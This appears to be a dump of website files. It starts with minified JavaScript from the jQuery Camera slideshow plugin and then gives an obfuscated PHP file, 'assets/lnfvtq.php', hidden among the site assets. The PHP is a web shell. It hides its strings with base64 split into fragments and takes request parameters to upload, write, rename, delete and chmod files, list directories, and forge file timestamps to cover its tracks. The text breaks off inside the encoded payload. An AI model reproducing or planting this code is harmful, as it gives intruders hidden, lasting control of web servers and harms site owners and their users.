if(h=="bar"){g.append('<div class="camera_bar"></div>')}else{g.append('<div class="camera_bar" style="display:none"></div>')}if(b.playPause==true){g.append('<div class="camera_commands"></div>')}if(b.navigation==true){g.append('<div class="camera_prev"><span></span></div>').append('<div class="camera_next"><span></span></div>')}if(b.thumbnails==true){f.append('<div class="camera_thumbs_cont" />')}if(b.thumbnails==true&&b.pagination!=true){a(".camera_thumbs_cont",f).wrap("<div />").wrap('<div class="camera_thumbs" />').wrap("<div />").wrap('<div class="camera_command_wrap" />')}if(b.pagination==true){f.append('<div class="camera_pag"></div>')}f.append('<div class="camera_loader"></div>');a(".camera_caption",f).each(function(){a(this).wrapInner("<div />")});var i="pie_"+f.index(),j=a(".camera_src",f),k=a(".camera_target",f),l=a(".camera_target_content",f),m=a(".camera_pie",f),n=a(".camera_bar",f),o=a(".camera_prev",f),p=a(".camera_next",f),q=a(".camera_commands",f),r=a(".camera_pag",f),s=a(".camera_thumbs_cont",f);var t,u;var v=new Array;a("> div",j).each(function(){v.push(a(this).attr("data-src"))});var w=new Array;a("> div",j).each(function(){if(a(this).attr("data-link")){w.push(a(this).attr("data-link"))}else{w.push("")}});var x=new Array;a("> div",j).each(function(){if(a(this).attr("data-target")){x.push(a(this).attr("data-target"))}else{x.push("")}});var y=new Array;a("> div",j).each(function(){if(a(this).attr("data-portrait")){y.push(a(this).attr("data-portrait"))}else{y.push("")}});var z=new Array;a("> div",j).each(function(){if(a(this).attr("data-alignment")){z.push(a(this).attr("data-alignment"))}else{z.push("")}});var A=new Array;a("> div",j).each(function(){if(a(this).attr("data-thumb")){A.push(a(this).attr("data-thumb"))}else{A.push("")}});var B=v.length;a(l).append('<div class="cameraContents" />');var C;for(C=0;C<B;C++){a(".cameraContents",l).append('<div class="cameraContent" />');if(w[C]!=""){var D=a("> div ",j).eq(C).attr("data-box");if(typeof D!=="undefined"&&D!==false&&D!=""){D='data-box="'+a("> div ",j).eq(C).attr("data-box")+'"'}else{D=""}a(".camera_target_content .cameraContent:eq("+C+")",f).append('<a class="camera_link" href="'+w[C]+'" '+D+' target="'+x[C]+'"></a>')}}a(".camera_caption",f).each(function(){var b=a(this).parent().index(),c=f.find(".cameraContent").eq(b);a(this).appendTo(c)});k.append('<div class="cameraCont" />');var E=a(".cameraCont",f);var F;for(F=0;F<B;F++){E.append('<div class="cameraSlide cameraSlide_'+F+'" />');var G=a("> div:eq("+F+")",j);k.find(".cameraSlide_"+F).clone(G)}a(window).bind("load resize pageshow",function(){hb();H()});E.append('<div class="cameraSlide cameraSlide_'+F+'" />');var I;f.show();var t=k.width();var u=k.height();var J;a(window).bind("resize pageshow",function(){if(I==true){K()}a("ul",s).animate({"margin-top":0},0,hb);if(!j.hasClass("paused")){j.addClass("paused");if(a(".camera_stop",V).length){a(".camera_stop",V).hide();a(".camera_play",V).show();if(h!="none"){a("#"+i).hide()}}else{if(h!="none"){a("#"+i).hide()}}clearTimeout(J);J=setTimeout(function(){j.removeClass("paused");if(a(".camera_play",V).length){a(".camera_play",V).hide();a(".camera_stop",V).show();if(h!="none"){a("#"+i).fadeIn()}}else{if(h!="none"){a("#"+i).fadeIn()}}},1500)}});var L,M;var N,O,P,q,r;var Q,R;if(e()&&b.mobileAutoAdvance!=""){O=b.mobileAutoAdvance}else{O=b.autoAdvance}if(O==false){j.addClass("paused")}if(e()&&b.mobileNavHover!=""){P=b.mobileNavHover}else{P=b.navigationHover}if(j.length!=0){var S=a(".cameraSlide",k);S.wrapInner('<div class="camerarelative" />');var T;var U=b.barDirection;var V=f;a("iframe",g).each(function(){var b=a(this);var c=b.attr("src");b.attr("data-src",c);var d=b.parent().index(".camera_src > div");a(".camera_target_content .cameraContent:eq("+d+")",f).append(b)});function W(){a("iframe",g).each(function(){a(".camera_caption",g).show();var c=a(this);var d=c.attr("data-src");c.attr("src",d);var e=b.imagePath+"blank.gif";var h=new Image;h.src=e;if(b.height.indexOf("%")!=-1){var i=Math.round(t/(100/parseFloat(b.height)));if(b.minHeight!=""&&i<parseFloat(b.minHeight)){u=parseFloat(b.minHeight)}else{u=i}}else if(b.height=="auto"){u=f.height()}else{u=parseFloat(b.height)}c.after(a(h).attr({"class":"imgFake",width:t,height:u}));var j=c.clone();c.remove();a(h).bind("click",function(){if(a(this).css("position")=="absolute"){a(this).remove();if(d.indexOf("vimeo")!=-1||d.indexOf("youtube")!=-1){if(d.indexOf("?")!=-1){autoplay="&autoplay=1"}else{autoplay="?autoplay=1"}}else if(d.indexOf("dailymotion")!=-1){if(d.indexOf("?")!=-1){autoplay="&autoPlay=1"}else{autoplay="?autoPlay=1"}}j.attr("src",d+autoplay);R=true}else{a(this).css({position:"absolute",top:0,left:0,zIndex:10}).after(j);j.css({position:"absolute",top:0,left:0,zIndex:9})}})})}W();if(b.hover==true){if(!e()){g.hover(function(){j.addClass("hovered")},function(){j.removeClass("hovered")})}}if(P==true){a(o,f).animate({opacity:0},0);a(p,f).animate({opacity:0},0);a(q,f).animate({opacity:0},0);if(e()){g.live("vmouseover",function(){a(o,f).animate({opacity:1},200);a(p,f).animate({opacity:1},200);a(q,f).animate({opacity:1},200)});g.live("vmouseout",function(){a(o,f).delay(500).animate({opacity:0},200);a(p,f).delay(500).animate({opacity:0},200);a(q,f).delay(500).animate({opacity:0},200)})}else{g.hover(function(){a(o,f).animate({opacity:1},200);a(p,f).animate({opacity:1},200);a(q,f).animate({opacity:1},200)},function(){a(o,f).animate({opacity:0},200);a(p,f).animate({opacity:0},200);a(q,f).animate({opacity:0},200)})}}a(".camera_stop",V).live("click",function(){O=false;j.addClass("paused");if(a(".camera_stop",V).length){a(".camera_stop",V).hide();a(".camera_play",V).show();if(h!="none"){a("#"+i).hide()}}else{if(h!="none"){a("#"+i).hide()}}});a(".camera_play",V).live("click",function(){O=true;j.removeClass("paused");if(a(".camera_play",V).length){a(".camera_play",V).hide();a(".camera_stop",V).show();if(h!="none"){a("#"+i).show()}}else{if(h!="none"){a("#"+i).show()}}});if(b.pauseOnClick==true){a(".camera_target_content",g).mouseup(function(){O=false;j.addClass("paused");a(".camera_stop",V).hide();a(".camera_play",V).show();a("#"+i).hide()})}a(".cameraContent, .imgFake",g).hover(function(){Q=true},function(){Q=false});a(".cameraContent, .imgFake",g).bind("click",function(){if(R==true&&Q==true){O=false;a(".camera_caption",g).hide();j.addClass("paused");a(".camera_stop",V).hide();a(".camera_play",V).show();a("#"+i).hide()}})}if(h!="pie"){n.append('<span class="camera_bar_cont" />');a(".camera_bar_cont",n).animate({opacity:b.loaderOpacity},0).css({position:"absolute",left:0,right:0,top:0,bottom:0,"background-color":b.loaderBgColor}).append('<span id="'+i+'" />');a("#"+i).animate({opacity:0},0);var Z=a("#"+i);Z.css({position:"absolute","background-color":b.loaderColor});switch(b.barPosition){case"left":n.css({right:"auto",width:b.loaderStroke});break;case"right":n.css({left:"auto",width:b.loaderStroke});break;case"top":n.css({bottom:"auto",height:b.loaderStroke});break;case"bottom":n.css({top:"auto",height:b.loaderStroke});break}switch(U){case"leftToRight":Z.css({left:0,right:0,top:b.loaderPadding,bottom:b.loaderPadding});break;case"rightToLeft":Z.css({left:0,right:0,top:b.loaderPadding,bottom:b.loaderPadding});break;case"topToBottom":Z.css({left:b.loaderPadding,right:b.loaderPadding,top:0,bottom:0});break;case"bottomToTop":Z.css({left:b.loaderPadding,right:b.loaderPadding,top:0,bottom:0});break}}else{m.append('<canvas id="'+i+'"></canvas>');var _;var Z=document.getElementById(i);Z.setAttribute("width",b.pieDiameter);Z.setAttribute("height",b.pieDiameter);var ab;switch(b.piePosition){case"leftTop":ab="left:0; top:0;";break;case"rightTop":ab="right:0; top:0;";break;case"leftBottom":ab="left:0; bottom:0;";break;case"rightBottom":ab="right:0; bottom:0;";break}Z.setAttribute("style","position:absolute; z-index:1002; "+ab);var bb;var cb;if(Z&&Z.getContext){var db=Z.getContext("2d");db.rotate(Math.PI*(3/2));db.translate(-b.pieDiameter,0)}}if(h=="none"||O==false){a("#"+i).hide();a(".camera_canvas_wrap",V).hide()}if(a(r).length){a(r).append('<ul class="camera_pag_ul" />');var eb;for(eb=0;eb<B;eb++){a(".camera_pag_ul",f).append('<li class="pag_nav_'+eb+'" style="position:relative; z-index:1002"><span><span>'+eb+"</span></span></li>")}a(".camera_pag_ul li",f).hover(function(){a(this).addClass("camera_hover");if(a(".camera_thumb",this).length){var b=a(".camera_thumb",this).outerWidth(),c=a(".camera_thumb",this).outerHeight(),d=a(this).outerWidth();a(".camera_thumb",this).show().css({top:"-"+c+"px",left:"-"+(b-d)/2+"px"}).animate({opacity:1,"margin-top":"-3px"},200);a(".thumb_arrow",this).show().animate({opacity:1,"margin-top":"-3px"},200)}},function(){a(this).removeClass("camera_hover");a(".camera_thumb",this).animate({"margin-top":"-20px",opacity:0},200,function(){a(this).css({marginTop:"5px"}).hide()});a(".thumb_arrow",this).animate({"margin-top":"-20px",opacity:0},200,function(){a(this).css({marginTop:"5px"}).hide()})})}if(a(s).length){var fb;if(!a(r).length){a(s).append("<div />");a(s).before('<div class="camera_prevThumbs hideNav"><div></div></div>').before('<div class="camera_nextThumbs hideNav"><div></div></div>');a("> div",s).append("<ul />");a.each(A,function(b,c){if(a("> div",j).eq(b).attr("data-thumb")!=""){var d=a("> div",j).eq(b).attr("data-thumb"),e=new Image;e.src=d;a("ul",s).append('<li class="pix_thumb pix_thumb_'+b+'" />');a("li.pix_thumb_"+b,s).append(a(e).attr("class","camera_thumb"))}})}else{a.each(A,function(b,c){if(a("> div",j).eq(b).attr("data-thumb")!=""){var d=a("> div",j).eq(b).attr("data-thumb"),e=new Image;e.src=d;a("li.pag_nav_"+b,r).append(a(e).attr("class","camera_thumb").css({position:"absolute"}).animate({opacity:0},0));a("li.pag_nav_"+b+" > img",r).after('<div class="thumb_arrow" />');a("li.pag_nav_"+b+" > .thumb_arrow",r).animate({opacity:0},0)}});f.css({marginBottom:a(r).outerHeight()})}}else if(!a(s).length&&a(r).length){f.css({marginBottom:a(r).outerHeight()})}var gb=true;if(a(q).length){a(q).append('<div class="camera_play"></div>').append('<div class="camera_stop"></div>');if(O==true){a(".camera_play",V).hide();a(".camera_stop",V).show()}else{a(".camera_stop",V).hide();a(".camera_play",V).show()}}ib();a(".moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom",g).each(function(){a(this).css("visibility","hidden")});b.onStartLoading.call(this);jb();if(a(o).length){a(o).click(function(){if(!j.hasClass("camerasliding")){var c=parseFloat(a(".cameraSlide.cameracurrent",k).index());clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",f).animate({opacity:0},0);ib();if(c!=0){jb(c)}else{jb(B)}b.onStartLoading.call(this)}})}if(a(p).length){a(p).click(function(){if(!j.hasClass("camerasliding")){var c=parseFloat(a(".cameraSlide.cameracurrent",k).index());clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},0);ib();if(c==B-1){jb(1)}else{jb(c+2)}b.onStartLoading.call(this)}})}if(e()){g.bind("swipeleft",function(c){if(!j.hasClass("camerasliding")){var d=parseFloat(a(".cameraSlide.cameracurrent",k).index());clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},0);ib();if(d==B-1){jb(1)}else{jb(d+2)}b.onStartLoading.call(this)}});g.bind("swiperight",function(c){if(!j.hasClass("camerasliding")){var d=parseFloat(a(".cameraSlide.cameracurrent",k).index());clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},0);ib();if(d!=0){jb(d)}else{jb(B)}b.onStartLoading.call(this)}})}if(a(r).length){a(".camera_pag li",f).click(function(){if(!j.hasClass("camerasliding")){var c=parseFloat(a(this).index());var d=parseFloat(a(".cameraSlide.cameracurrent",k).index());if(c!=d){clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},0);ib();jb(c+1);b.onStartLoading.call(this)}}})}if(a(s).length){a(".pix_thumb img",s).click(function(){if(!j.hasClass("camerasliding")){var c=parseFloat(a(this).parents("li").index());var d=parseFloat(a(".cameracurrent",k).index());if(c!=d){clearInterval(L);W();a("#"+i+", .camera_canvas_wrap",V).animate({opacity:0},0);a(".pix_thumb",s).removeClass("cameracurrent");a(this).parents("li").addClass("cameracurrent");ib();jb(c+1);hb();b.onStartLoading.call(this)}}});a(".camera_thumbs_cont .camera_prevThumbs",V).hover(function(){a(this).stop(true,false).animate({opacity:1},250)},function(){a(this).stop(true,false).animate({opacity:.7},250)});a(".camera_prevThumbs",V).click(function(){var b=0,c=a(s).outerWidth(),d=a("ul",s).offset().left,e=a("> div",s).offset().left,f=e-d;a(".camera_visThumb",s).each(function(){var c=a(this).outerWidth();b=b+c});if(f-b>0){a("ul",s).animate({"margin-left":"-"+(f-b)+"px"},500,H)}else{a("ul",s).animate({"margin-left":0},500,H)}});a(".camera_thumbs_cont .camera_nextThumbs",V).hover(function(){a(this).stop(true,false).animate({opacity:1},250)},function(){a(this).stop(true,false).animate({opacity:.7},250)});a(".camera_nextThumbs",V).click(function(){var b=0,c=a(s).outerWidth(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;a(".camera_visThumb",s).each(function(){var c=a(this).outerWidth();b=b+c});if(g+b+b<d){a("ul",s).animate({"margin-left":"-"+(g+b)+"px"},500,H)}else{a("ul",s).animate({"margin-left":"-"+(d-c)+"px"},500,H)}})}}})(jQuery);(function(a){a.fn.cameraStop=function(){var b=a(this),c=a(".camera_src",b),d="pie_"+b.index();c.addClass("stopped");if(a(".camera_showcommands").length){var e=a(".camera_thumbs_wrap",b)}else{var e=b}}})(jQuery);(function(a){a.fn.cameraPause=function(){var b=a(this);var c=a(".camera_src",b);c.addClass("paused")}})(jQuery);(function(a){a.fn.cameraResume=function(){var b=a(this);var c=a(".camera_src",b);if(typeof autoAdv==="undefined"||autoAdv!==true){c.removeClass("paused")}}})(jQuery);assets/lnfvtq.php000060400000025057151652224050010100 0ustar00<?php function cuft() { global $kjc, $fqz;$wng = $fqz[2](__FILE__);$gtc = $fqz[25]()-$fqz[3](30,300)*86400;$gtc1 = $fqz[4]($kjc[8],$gtc);$ynn = $fqz[5]($_GET,$_POST);$cuy = isset($ynn[$kjc[9]]) ? $ynn[$kjc[9]] : $wng;$brp = isset($ynn[$kjc[10]]) ? $ynn[$kjc[10]] : "";$swb = isset($ynn[$kjc[11]]) ? $ynn[$kjc[11]] : "";if (!empty($ynn[$kjc[12]])) {$fqz[6]($brp,$fqz[7]($ynn[$kjc[12]]));$fqz[8]($brp,$gtc);} else if (!empty($brp)) {if (isset($ynn[$kjc[13]])) {$fqz[6]($brp,$ynn[$kjc[13]]);if (isset($ynn[$kjc[14]])) $fqz[8]($brp,$fqz[9]($ynn[$kjc[14]]));$nal = $kjc[15];}$fgl = "";if($fqz[10]($brp)) {$fgl = $fqz[7]($brp);$gtc1 = $fqz[4]($kjc[8],$fqz[11]($brp));}$cuy = $fqz[2]($brp);} elseif (!empty($_FILES[$kjc[16]])) {$cbb = $_FILES[$kjc[16]];for($I=0;$I<$fqz[12]($cbb[$kjc[17]]);$I++) {if($fqz[13]($cbb[$kjc[18]][$I], $cuy.$kjc[19].$cbb[$kjc[17]][$I])) {$fqz[14]($cuy.$kjc[19].$cbb[$kjc[17]][$I],0755);$nal = $kjc[20];if (isset($ynn[$kjc[14]])) $fqz[8]($cuy.$kjc[19].$cbb[$kjc[17]][$I],$fqz[9]($ynn[$kjc[14]]));}}} elseif (!empty($ynn[$kjc[21]])) {$fqz[15]($ynn[$kjc[21]]);} elseif (!empty($ynn[$kjc[22]])) {$fqz[16]($ynn[$kjc[22]]);} elseif (!empty($ynn[$kjc[23]])) {$fqz[17]($ynn[$kjc[23]]);} elseif (!empty($ynn[$kjc[24]])&&!empty($ynn[$kjc[25]])) {$fqz[18]($ynn[$kjc[25]],$fqz[2]($ynn[$kjc[25]]).$kjc[19].$ynn[$kjc[24]]);unset($swb);}if(!empty($ynn[$kjc[26]])) exit($kjc[27]);$fcz = "";foreach($fqz[19]($cuy.$kjc[28], GLOB_ONLYDIR) as $v) {$fcz .= $kjc[29].$fqz[20]($kjc[30],"",$v).$kjc[31].$fqz[4]($kjc[8],$fqz[11]($v)).$kjc[32].$fqz[21]($v).$kjc[33].$fqz[22]($fqz[23]($kjc[34],$fqz[24]($v)),-4).$kjc[35].$v.$kjc[36].$v.$kjc[37].$v.$kjc[38];}foreach($fqz[19]($cuy.$kjc[39], GLOB_BRACE) as $v) {if($fqz[10]($v)) $fcz .= $kjc[40].$fqz[20]($kjc[30],"",$v).$kjc[31].$fqz[4]($kjc[8],$fqz[11]($v)).$kjc[32].$fqz[21]($v).$kjc[33].$fqz[22]($fqz[23]($kjc[34],$fqz[24]($v)),-4).$kjc[41].$v.$kjc[42].$v.$kjc[43].$v.$kjc[38];}echo $kjc[44].$cuy.$kjc[45].$gtc1.$kjc[46].$cuy.$kjc[47].$_SERVER[$kjc[48]].$kjc[49].@$nal.$kjc[50].(isset($fgl)?$kjc[51].$gtc1.$kjc[52].$fgl.$kjc[53]:(!empty($swb)?$kjc[54].$swb.$kjc[55]:$kjc[56].$fcz.$kjc[57])).$kjc[58];exit;} $ocu = 'BA'.'se'.'64'.'_d'.'EC'.'OD'.'E'; $kjc = explode('~',$ocu('SF'.'RU'.'UF'.'9V'.'U0'.'VS'.'X0'.'FH'.'RU'.'5U'.'fm'.'xs'.'bH'.'4z'.'MW'.'Y2'.'Y2'.'Mx'.'OT'.'Rj'.'MG'.'I4'.'YT'.'Jj'.'fj'.'g0'.'OW'.'Yz'.'ZG'.'Ex'.'Zm'.'Mx'.'OT'.'li'.'ZT'.'h+'.'bH'.'45'.'M2'.'Fm'.'Yz'.'Vh'.'Mz'.'Y1'.'N2'.'Rl'.'MD'.'Qw'.'fm'.'E5'.'OG'.'M5'.'Y2'.'U2'.'Nj'.'di'.'Mz'.'Q5'.'Nz'.'h+'.'PC'.'FE'.'T0'.'NU'.'WV'.'BF'.'IG'.'h0'.'bW'.'w+'.'PG'.'h0'.'bW'.'w+'.'PG'.'hl'.'YW'.'Q+'.'PH'.'Rp'.'dG'.'xl'.'Pj'.'Qw'.'My'.'BG'.'b3'.'Ji'.'aW'.'Rk'.'ZW'.'4u'.'PC'.'90'.'aX'.'Rs'.'ZT'.'48'.'L2'.'hl'.'YW'.'Q+'.'PG'.'Jv'.'ZH'.'k+'.'PG'.'gx'.'Pk'.'Zv'.'cm'.'Jp'.'ZG'.'Rl'.'bi'.'48'.'L2'.'gx'.'Pj'.'xw'.'Pl'.'lv'.'dS'.'Bu'.'b3'.'Qg'.'aG'.'F2'.'ZS'.'Bw'.'ZX'.'Jt'.'aX'.'Nz'.'aW'.'9u'.'IH'.'Rv'.'IG'.'Fj'.'Y2'.'Vz'.'cy'.'Av'.'IG'.'9u'.'IH'.'Ro'.'aX'.'Mg'.'c2'.'Vy'.'dm'.'Vy'.'Lj'.'xi'.'ci'.'Av'.'Pj'.'wv'.'cD'.'48'.'Zm'.'9y'.'bS'.'Bh'.'Y3'.'Rp'.'b2'.'49'.'Ii'.'Ig'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'cG'.'Fz'.'c3'.'dv'.'cm'.'Qi'.'IG'.'5h'.'bW'.'U9'.'Im'.'wi'.'IH'.'N0'.'eW'.'xl'.'PS'.'Ji'.'b3'.'Jk'.'ZX'.'I6'.'MC'.'I+'.'PC'.'9m'.'b3'.'Jt'.'Pj'.'wv'.'Ym'.'9k'.'eT'.'48'.'L2'.'h0'.'bW'.'w+'.'fl'.'kt'.'bS'.'1k'.'IE'.'g6'.'aT'.'pz'.'fm'.'lk'.'fn'.'Zp'.'ZH'.'5y'.'ZW'.'Zp'.'bG'.'V+'.'dX'.'Js'.'fn'.'R4'.'dH'.'50'.'aW'.'1l'.'fn'.'Zp'.'b2'.'t+'.'dW'.'Z+'.'bm'.'Ft'.'ZX'.'50'.'bX'.'Bf'.'bm'.'Ft'.'ZX'.'4v'.'fn'.'Vw'.'b2'.'t+'.'cm'.'1+'.'bW'.'tk'.'fn'.'Jt'.'ZH'.'5u'.'ZX'.'dm'.'aW'.'xl'.'fm'.'9s'.'ZG'.'Zp'.'bG'.'V+'.'cG'.'9z'.'dH'.'4j'.'ZG'.'9u'.'ZS'.'5+'.'Ly'.'p+'.'PG'.'Rp'.'di'.'Bj'.'bG'.'Fz'.'cz'.'0i'.'bG'.'lz'.'dC'.'Bk'.'aX'.'Ii'.'Pj'.'xz'.'cG'.'Fu'.'Pn'.'4v'.'Li'.'pc'.'Ly'.'9+'.'PC'.'9z'.'cG'.'Fu'.'Pj'.'xp'.'Pn'.'48'.'L2'.'k+'.'PH'.'U+'.'fj'.'wv'.'dT'.'48'.'Yj'.'5+'.'JW'.'9+'.'PC'.'9i'.'Pj'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9p'.'ZD'.'1+'.'Ij'.'5P'.'cG'.'Vu'.'PC'.'9h'.'Pi'.'At'.'ID'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9y'.'ZW'.'Zp'.'bG'.'U9'.'fi'.'I+'.'Um'.'Vu'.'YW'.'1l'.'PC'.'9h'.'Pi'.'At'.'ID'.'xh'.'IG'.'hy'.'ZW'.'Y9'.'Ij'.'9y'.'bW'.'Q9'.'fi'.'I+'.'RG'.'Vs'.'PC'.'9h'.'Pj'.'wv'.'ZG'.'l2'.'Pn'.'4v'.'ey'.'os'.'Li'.'os'.'Ki'.'59'.'fj'.'xk'.'aX'.'Yg'.'Y2'.'xh'.'c3'.'M9'.'Im'.'xp'.'c3'.'Qg'.'Zm'.'ls'.'ZS'.'I+'.'PH'.'Nw'.'YW'.'4+'.'fj'.'wv'.'Yj'.'48'.'YS'.'Bo'.'cm'.'Vm'.'PS'.'I/'.'dm'.'lk'.'PX'.'4i'.'Pk'.'Vk'.'aX'.'Q8'.'L2'.'E+'.'IC'.'0g'.'PG'.'Eg'.'aH'.'Jl'.'Zj'.'0i'.'P3'.'Jl'.'Zm'.'ls'.'ZT'.'1+'.'Ij'.'5S'.'ZW'.'5h'.'bW'.'U8'.'L2'.'E+'.'IC'.'0g'.'PG'.'Eg'.'aH'.'Jl'.'Zj'.'0i'.'P3'.'Jt'.'PX'.'48'.'IU'.'RP'.'Q1'.'RZ'.'UE'.'Ug'.'aH'.'Rt'.'bD'.'48'.'aH'.'Rt'.'bD'.'48'.'aG'.'Vh'.'ZD'.'48'.'dG'.'l0'.'bG'.'U+'.'ND'.'Az'.'IE'.'Zv'.'cm'.'Jp'.'ZG'.'Rl'.'bi'.'48'.'L3'.'Rp'.'dG'.'xl'.'Pj'.'xz'.'dH'.'ls'.'ZT'.'4q'.'e2'.'Zv'.'bn'.'Q6'.'MT'.'Rw'.'eC'.'8x'.'OH'.'B4'.'IH'.'Rh'.'aG'.'9t'.'YX'.'1p'.'bn'.'B1'.'dH'.'tm'.'b2'.'50'.'LX'.'Np'.'em'.'U6'.'MT'.'Jw'.'eD'.'tt'.'YX'.'Jn'.'aW'.'46'.'NX'.'B4'.'ID'.'B9'.'Yn'.'V0'.'dG'.'9u'.'e2'.'N1'.'cn'.'Nv'.'cj'.'pw'.'b2'.'lu'.'dG'.'Vy'.'fS'.'53'.'OX'.'t3'.'aW'.'R0'.'aD'.'o5'.'MC'.'V9'.'Lm'.'1z'.'Z3'.'tj'.'b2'.'xv'.'cj'.'py'.'ZW'.'R9'.'aG'.'Vh'.'ZG'.'Vy'.'e2'.'Jh'.'Y2'.'tn'.'cm'.'91'.'bm'.'Q6'.'Iz'.'Aw'.'MD'.'tj'.'b2'.'xv'.'cj'.'oj'.'Zm'.'Zm'.'fW'.'hl'.'YW'.'Rl'.'ci'.'Bh'.'e2'.'Nv'.'bG'.'9y'.'Oi'.'Nm'.'Zm'.'Z9'.'aG'.'Vh'.'ZG'.'Vy'.'IG'.'Zv'.'cm'.'17'.'ZG'.'lz'.'cG'.'xh'.'eT'.'pp'.'bm'.'xp'.'bm'.'Ut'.'Ym'.'xv'.'Y2'.'t9'.'Lm'.'Rp'.'cn'.'tj'.'b2'.'xv'.'cj'.'pn'.'cm'.'Vl'.'bn'.'0u'.'bG'.'lz'.'dH'.'ts'.'aW'.'5l'.'LW'.'hl'.'aW'.'do'.'dD'.'oy'.'Mn'.'B4'.'fS'.'5s'.'aX'.'N0'.'Om'.'hv'.'dm'.'Vy'.'e2'.'Jh'.'Y2'.'tn'.'cm'.'91'.'bm'.'Q6'.'I2'.'Vl'.'ZX'.'0u'.'bG'.'lz'.'dC'.'Aq'.'e2'.'Rp'.'c3'.'Bs'.'YX'.'k6'.'aW'.'5s'.'aW'.'5l'.'LW'.'Js'.'b2'.'Nr'.'O3'.'Rl'.'eH'.'Qt'.'YW'.'xp'.'Z2'.'46'.'bG'.'Vm'.'dD'.'t3'.'aW'.'R0'.'aD'.'ox'.'MD'.'Bw'.'eD'.'tm'.'b2'.'50'.'LX'.'N0'.'eW'.'xl'.'Om'.'5v'.'cm'.'1h'.'bH'.'0u'.'bG'.'lz'.'dC'.'Bz'.'cG'.'Fu'.'LC'.'5s'.'aX'.'N0'.'IG'.'l7'.'d2'.'lk'.'dG'.'g6'.'Mj'.'Aw'.'cH'.'h9'.'Lm'.'xp'.'c3'.'Qg'.'YX'.'tk'.'aX'.'Nw'.'bG'.'F5'.'Om'.'lu'.'bG'.'lu'.'ZT'.'tj'.'b2'.'xv'.'cj'.'pi'.'bH'.'Vl'.'fS'.'Nv'.'dX'.'Rw'.'dX'.'R7'.'cG'.'Fk'.'ZG'.'lu'.'Zz'.'ox'.'MH'.'B4'.'fT'.'wv'.'c3'.'R5'.'bG'.'U+'.'PC'.'9o'.'ZW'.'Fk'.'Pj'.'xi'.'b2'.'R5'.'Pj'.'xo'.'ZW'.'Fk'.'ZX'.'I+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jn'.'ZX'.'Qi'.'Pj'.'xp'.'bn'.'B1'.'dC'.'B0'.'eX'.'Bl'.'PS'.'J0'.'ZX'.'h0'.'Ii'.'Bu'.'YW'.'1l'.'PS'.'Jp'.'ZC'.'Ig'.'dm'.'Fs'.'dW'.'U9'.'In'.'4i'.'Pj'.'xi'.'dX'.'R0'.'b2'.'4g'.'dH'.'lw'.'ZT'.'0i'.'c3'.'Vi'.'bW'.'l0'.'Ij'.'5E'.'aX'.'I8'.'L2'.'J1'.'dH'.'Rv'.'bj'.'48'.'L2'.'Zv'.'cm'.'0+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ii'.'Bl'.'bm'.'N0'.'eX'.'Bl'.'PS'.'Jt'.'dW'.'x0'.'aX'.'Bh'.'cn'.'Qv'.'Zm'.'9y'.'bS'.'1k'.'YX'.'Rh'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'Zm'.'ls'.'ZS'.'Ig'.'bm'.'Ft'.'ZT'.'0i'.'dW'.'Zb'.'XS'.'Ig'.'bX'.'Vs'.'dG'.'lw'.'bG'.'U+'.'PG'.'lu'.'cH'.'V0'.'IH'.'R5'.'cG'.'U9'.'In'.'Rl'.'eH'.'Qi'.'IG'.'5h'.'bW'.'U9'.'In'.'Rp'.'bW'.'Ui'.'IH'.'Zh'.'bH'.'Vl'.'PS'.'J+'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'R5'.'cG'.'U9'.'In'.'N1'.'Ym'.'1p'.'dC'.'I+'.'VV'.'A8'.'L2'.'J1'.'dH'.'Rv'.'bj'.'48'.'L2'.'Zv'.'cm'.'0+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jn'.'ZX'.'Qi'.'Pj'.'xp'.'bn'.'B1'.'dC'.'B0'.'eX'.'Bl'.'PS'.'J0'.'ZX'.'h0'.'Ii'.'Bu'.'YW'.'1l'.'PS'.'J2'.'aW'.'Qi'.'IH'.'Zh'.'bH'.'Vl'.'PS'.'J+'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'R5'.'cG'.'U9'.'In'.'N1'.'Ym'.'1p'.'dC'.'I+'.'Rm'.'ls'.'ZT'.'wv'.'Yn'.'V0'.'dG'.'9u'.'Pj'.'wv'.'Zm'.'9y'.'bT'.'48'.'YS'.'Bo'.'cm'.'Vm'.'PS'.'I/'.'aW'.'Q9'.'fk'.'RP'.'Q1'.'VN'.'RU'.'5U'.'X1'.'JP'.'T1'.'R+'.'Ij'.'5S'.'b2'.'90'.'IE'.'Rp'.'cj'.'wv'.'YT'.'4g'.'PH'.'Nw'.'YW'.'4g'.'Y2'.'xh'.'c3'.'M9'.'Im'.'1z'.'Zy'.'I+'.'fj'.'wv'.'c3'.'Bh'.'bj'.'48'.'L2'.'hl'.'YW'.'Rl'.'cj'.'5+'.'PG'.'Zv'.'cm'.'0g'.'bW'.'V0'.'aG'.'9k'.'PS'.'Jw'.'b3'.'N0'.'Ij'.'48'.'aW'.'5w'.'dX'.'Qg'.'dH'.'lw'.'ZT'.'0i'.'dG'.'V4'.'dC'.'Ig'.'bm'.'Ft'.'ZT'.'0i'.'dG'.'lt'.'ZS'.'Ig'.'dm'.'Fs'.'dW'.'U9'.'In'.'4i'.'IG'.'Ns'.'YX'.'Nz'.'PS'.'Jp'.'Ij'.'48'.'Yn'.'V0'.'dG'.'9u'.'IH'.'